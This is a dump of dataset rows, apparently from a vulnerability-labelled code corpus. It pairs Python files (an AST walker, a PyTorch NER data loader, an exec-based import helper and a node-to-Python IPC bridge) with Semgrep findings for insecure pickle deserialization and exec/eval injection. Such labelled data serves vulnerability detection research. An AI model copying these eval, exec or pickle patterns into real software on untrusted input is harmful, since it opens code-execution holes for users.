def ast_walk(root, dispatcher, debug=False):
"""Walk the given tree and for each node apply the corresponding function
as defined by the dispatcher.
If one node type does not have any function defined for it, it simply
returns the node unchanged.
Parameters
----------
root : Node
top of the tree to walk into.
dispatcher : Dispatcher
defines the action for each node type.
"""
def _walker(par):
children = []
for c in par.children:
children.append(_walker(c))
par.children = [c for c in children if c is not None]
try:
func = dispatcher.action_dict[par.type]
return func(par)
except KeyError:
if debug:
print "no action for type %s" % par.type
return par
# FIXME: we need to copy the dict because the dispatcher modify the dict in
# place ATM, and we call this often. This is very expensive, and should be
# removed as it has a huge cost in starting time (~30 % in hot case)
return _walker(__copy(root))
| 81 | 31.16 | 79 | 19 | 593 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_edb7f277da24503b_2c9eaf90", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 12, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmppq52ww6s/edb7f277da24503b.py", "start": {"line": 5, "col": 12, "offset": 119}, "end": {"line": 5, "col": 55, "offset": 162}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_edb7f277da24503b_80ec3a36", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 26, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmppq52ww6s/edb7f277da24503b.py", "start": {"line": 5, "col": 26, "offset": 133}, "end": {"line": 5, "col": 54, "offset": 161}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
5,
5
] | [
5,
5
] | [
12,
26
] | [
55,
54
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `cPickle`, which is known to lead ... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | nodes.py | /bento/core/parser/nodes.py | abadger/Bento | BSD-3-Clause | |
2024-11-18T20:10:32.671742+00:00 | 1,607,325,519,000 | 350878c3c6c85559c99278ef881d7b66dc285760 | 3 | {
"blob_id": "350878c3c6c85559c99278ef881d7b66dc285760",
"branch_name": "refs/heads/master",
"committer_date": 1607325519000,
"content_id": "0233913e43a47f32197de586906de52298bfc8d7",
"detected_licenses": [
"MIT"
],
"directory_id": "32b7903477752f7a1bc1f656b024527b9884d919",
"extension": "py",
"filename": "DataLoader.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2867,
"license": "MIT",
"license_type": "permissive",
"path": "/NER/LSTM/DataLoader.py",
"provenance": "stack-edu-0054.json.gz:581274",
"repo_name": "fuxiao-zhang/PyTorch",
"revision_date": 1607325519000,
"revision_id": "114537ebbae878a5522adcfe262f936fd9c2368d",
"snapshot_id": "5f37eeb5daf2ae04330747f5fcc33c86613cd0dd",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/fuxiao-zhang/PyTorch/114537ebbae878a5522adcfe262f936fd9c2368d/NER/LSTM/DataLoader.py",
"visit_date": "2023-01-25T01:08:43.338520"
} | 2.640625 | stackv2 | import os
import torch
import spacy
import pickle
from tqdm import tqdm
import torch.nn as nn
from torch.nn.utils.rnn import pad_sequence
class Vocabulary:
def __init__(self):
self.word_to_idx = {'<PAD>' : 0, '<UNK>' : 1}
def vocab(self, sentences):
num = 2
if os.path.exists('input/word_to_idx.pickle'):
print('--- [INFO] LOADING PRECOMPUTED TOKENIZER ---')
self.word_to_idx = pickle.load(open('input/word_to_idx.pickle', 'rb'))
else:
for sentence in tqdm(sentences, total=len(sentences)):
for word in sentence:
word = word.lower()
if word not in self.word_to_idx:
self.word_to_idx[word] = num
num += 1
def numercalize(self, sentence):
sentence_idx = []
for word in sentence:
word = word.lower()
if word in self.word_to_idx:
sentence_idx.append(self.word_to_idx[word])
else:
sentence_idx.append(self.word_to_idx['<UNK>'])
return sentence_idx
class DataLoader(torch.utils.data.Dataset):
def __init__(self, sentence, pos, tag):
self.sentences = sentence
self.pos = pos
self.tag = tag
self.vocab = Vocabulary()
self.vocab.vocab(self.sentences)
def __len__(self):
return len(self.sentences)
def __getitem__(self, idx):
sentence = self.sentences[idx]
pos = self.pos[idx]
tag = self.tag[idx]
sentence_idx = self.vocab.numercalize(sentence)
return {
'sentence' : sentence,
'sentence_idx' : torch.tensor(sentence_idx, dtype=torch.long),
'pos' : torch.tensor(pos, dtype=torch.long),
'tag' : torch.tensor(tag, dtype=torch.long)
}
class MyCollate:
def __init__(self, pad_idx, tag_pad_idx, pos_pad_idx):
self.pad_idx = pad_idx
self.tag_pad_idx = tag_pad_idx
self.pos_pad_idx = pos_pad_idx
def __call__(self, batch):
sentence = [item['sentence'] for item in batch]
sentence_idx = [item['sentence_idx'] for item in batch]
pos = [item['pos'] for item in batch]
tag = [item['tag'] for item in batch]
sentence_idx = pad_sequence(
sentence_idx,
batch_first=True,
padding_value=self.pad_idx
)
pos = pad_sequence(
pos,
batch_first=True,
padding_value=self.pad_idx
)
tag = pad_sequence(
tag,
batch_first=True,
padding_value=self.pad_idx
)
return {
'sentence' : sentence,
'sentence_idx' : sentence_idx,
'pos' : pos,
'tag' : tag
}
| 97 | 28.56 | 82 | 19 | 636 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_4297b7dd647865b1_61b15c19", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 32, "column_end": 83, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmppq52ww6s/4297b7dd647865b1.py", "start": {"line": 17, "col": 32, "offset": 442}, "end": {"line": 17, "col": 83, "offset": 493}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
17
] | [
17
] | [
32
] | [
83
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | DataLoader.py | /NER/LSTM/DataLoader.py | fuxiao-zhang/PyTorch | MIT | |
2024-11-18T20:10:34.492104+00:00 | 1,590,851,367,000 | d1201a2d540fa37ee22164a81010d2eab4a56551 | 3 | {
"blob_id": "d1201a2d540fa37ee22164a81010d2eab4a56551",
"branch_name": "refs/heads/master",
"committer_date": 1590851367000,
"content_id": "96772962604114f04a18aeef915b866f2f4d189f",
"detected_licenses": [
"BSD-3-Clause"
],
"directory_id": "51f09d7c7e52ab79504d8824f74391d324e2bf62",
"extension": "py",
"filename": "importall.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 206323640,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1592,
"license": "BSD-3-Clause",
"license_type": "permissive",
"path": "/importall.py",
"provenance": "stack-edu-0054.json.gz:581291",
"repo_name": "laerreal/librfunc",
"revision_date": 1590851367000,
"revision_id": "5f46e75d52966481c19ca19081892ff9b2c17990",
"snapshot_id": "e87737cdff2f729fa85e08a3452c472d7edcbec3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/laerreal/librfunc/5f46e75d52966481c19ca19081892ff9b2c17990/importall.py",
"visit_date": "2020-07-18T22:19:37.792595"
} | 2.671875 | stackv2 | __all__ = [
"ismod",
"gen_this",
"import_all"
]
from os import (
listdir
)
from os.path import (
splitext,
dirname,
join,
isdir,
exists
)
from inspect import (
stack,
getmodule
)
def ismod(n):
if n.startswith("__init__."):
return False
if n.endswith(".py"):
return True
if n.endswith(".pyd"): # compiled module
return True
if not isdir(n):
return False
if exists(join(n, "__init__.py")):
return True
if exists(join(n, "__init__.pyd")):
return True
return False
def iter_import_all_code(frame):
_dir = dirname(getmodule(frame).__file__)
for n in listdir(_dir):
if n == "this.py":
continue
if ismod(join(_dir, n)):
yield "from ." + splitext(n)[0] + " import *"
def gen_import_all_code(frame):
return "\n".join(iter_import_all_code(frame))
def import_all():
frame = stack()[1][0]
exec(gen_import_all_code(frame), frame.f_globals)
def gen_this():
""" Use this in such a way:
gen_this()
from .this import *
It creates this.py file that does same as `import_all` but the file
can be parsed by IDEs.
"""
frame = stack()[1][0]
_dir = _dir = dirname(getmodule(frame).__file__)
importer_name = join(_dir, "this.py")
code = gen_import_all_code(frame)
if exists(importer_name):
with open(importer_name, "r") as f:
generate = (f.read() != code)
else:
generate = True
if generate:
with open(importer_name, "w") as f:
f.write(code)
| 75 | 20.23 | 67 | 15 | 417 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_0510bf3fad389983_17171764", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 50, "line_end": 50, "column_start": 5, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmppq52ww6s/0510bf3fad389983.py", "start": {"line": 50, "col": 5, "offset": 962}, "end": {"line": 50, "col": 54, "offset": 1011}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0510bf3fad389983_2f059149", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 68, "line_end": 68, "column_start": 14, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/0510bf3fad389983.py", "start": {"line": 68, "col": 14, "offset": 1397}, "end": {"line": 68, "col": 38, "offset": 1421}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0510bf3fad389983_28391b75", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 14, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/0510bf3fad389983.py", "start": {"line": 74, "col": 14, "offset": 1535}, "end": {"line": 74, "col": 38, "offset": 1559}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.exec-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
50
] | [
50
] | [
5
] | [
54
] | [
"A03:2021 - Injection"
] | [
"Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | importall.py | /importall.py | laerreal/librfunc | BSD-3-Clause | |
2024-11-18T20:10:37.200522+00:00 | 1,558,878,894,000 | 68ea7a841304ac874bac7dcde178199424a0e492 | 2 | {
"blob_id": "68ea7a841304ac874bac7dcde178199424a0e492",
"branch_name": "refs/heads/master",
"committer_date": 1558878894000,
"content_id": "ea86403abda66eec1e0b53a2db723dcac73f26f4",
"detected_licenses": [
"MIT"
],
"directory_id": "0e1d7df05c7e0cfafa79cac14851cbb6d0b64d3b",
"extension": "py",
"filename": "node_python_bridge.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 188688921,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3445,
"license": "MIT",
"license_type": "permissive",
"path": "/defaulter/node_modules/python-bridge/node_python_bridge.py",
"provenance": "stack-edu-0054.json.gz:581319",
"repo_name": "abg999/Defaulter_assignment1",
"revision_date": 1558878894000,
"revision_id": "908b336534c6d2c40de05c18355e3cbad4da783a",
"snapshot_id": "e505d86ed90082b12127e9b36ce881f6f6acc165",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/abg999/Defaulter_assignment1/908b336534c6d2c40de05c18355e3cbad4da783a/defaulter/node_modules/python-bridge/node_python_bridge.py",
"visit_date": "2020-05-27T15:54:23.451269"
} | 2.3125 | stackv2 | from __future__ import unicode_literals
from codeop import Compile
import os
import sys
import json
import traceback
import platform
import struct
NODE_CHANNEL_FD = int(os.environ['NODE_CHANNEL_FD'])
UNICODE_TYPE = unicode if sys.version_info[0] == 2 else str
if sys.version_info[0] <= 2:
# print('PY2')
def _exec(_code_, _globs_):
exec('exec _code_ in _globs_')
else:
_exec = getattr(__builtins__, 'exec')
_locals = {'__name__': '__console__', '__doc__': None}
_compile = Compile()
if platform.system() == 'Windows':
# hacky reimplementation of https://github.com/nodejs/node/blob/master/deps/uv/src/win/pipe.c
def read_data(f):
header = f.read(16)
if not header:
return header
try:
msg_length, = struct.unpack('<Q', header[8:])
return f.read(msg_length)
except:
raise ValueError('Error parsing msg with header: {}'.format(repr(header)))
def write_data(f, data):
header = struct.pack('<Q', 1) + struct.pack('<Q', len(data))
f.write(header + data)
f.flush()
else:
def read_data(f):
return reader.readline()
def write_data(f, data):
f.write(data)
f.flush()
def format_exception(t=None, e=None, tb=None):
return dict(
exception=dict(
type=dict(
name=t.__name__,
module=t.__module__
) if t else None,
message=str(e),
args=getattr(e, 'args', None),
format=traceback.format_exception_only(t, e)
) if e else None,
traceback=dict(
lineno=traceback.tb_lineno(tb) if hasattr(traceback, 'tb_lineno') else tb.tb_lineno,
strack=traceback.format_stack(tb.tb_frame),
format=traceback.format_tb(tb)
) if tb else None,
format=traceback.format_exception(t, e, tb)
)
if __name__ == '__main__':
writer = os.fdopen(NODE_CHANNEL_FD, 'wb')
reader = os.fdopen(NODE_CHANNEL_FD, 'rb')
while True:
try:
# Read new command
line = read_data(reader)
if not line:
break
try:
data = json.loads(line.decode('utf-8'))
except ValueError:
raise ValueError('Could not decode IPC data:\n{}'.format(repr(line)))
# Assert data saneness
if data['type'] not in ['execute', 'evaluate']:
raise Exception('Python bridge call `type` must be `execute` or `evaluate`')
if not isinstance(data['code'], UNICODE_TYPE):
raise Exception('Python bridge call `code` must be a string.')
# Run Python code
if data['type'] == 'execute':
_exec(_compile(data['code'], '<input>', 'exec'), _locals)
response = dict(type='success')
else:
value = eval(_compile(data['code'], '<input>', 'eval'), _locals)
response = dict(type='success', value=value)
except:
t, e, tb = sys.exc_info()
response = dict(type='exception', value=format_exception(t, e, tb))
data = json.dumps(response, separators=(',', ':')).encode('utf-8') + b'\n'
write_data(writer, data)
# Closing is messy
try:
reader.close()
except IOError:
pass
try:
writer.close()
except IOError:
pass
| 112 | 29.76 | 97 | 19 | 794 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_9529f4a6cf0af24f_2aa8a206", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 94, "line_end": 94, "column_start": 25, "column_end": 81, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmppq52ww6s/9529f4a6cf0af24f.py", "start": {"line": 94, "col": 25, "offset": 2921}, "end": {"line": 94, "col": 81, "offset": 2977}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-95"
] | [
"rules.python.lang.security.audit.eval-detected"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
94
] | [
94
] | [
25
] | [
81
] | [
"A03:2021 - Injection"
] | [
"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."
] | [
5
] | [
"LOW"
] | [
"HIGH"
] | node_python_bridge.py | /defaulter/node_modules/python-bridge/node_python_bridge.py | abg999/Defaulter_assignment1 | MIT |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.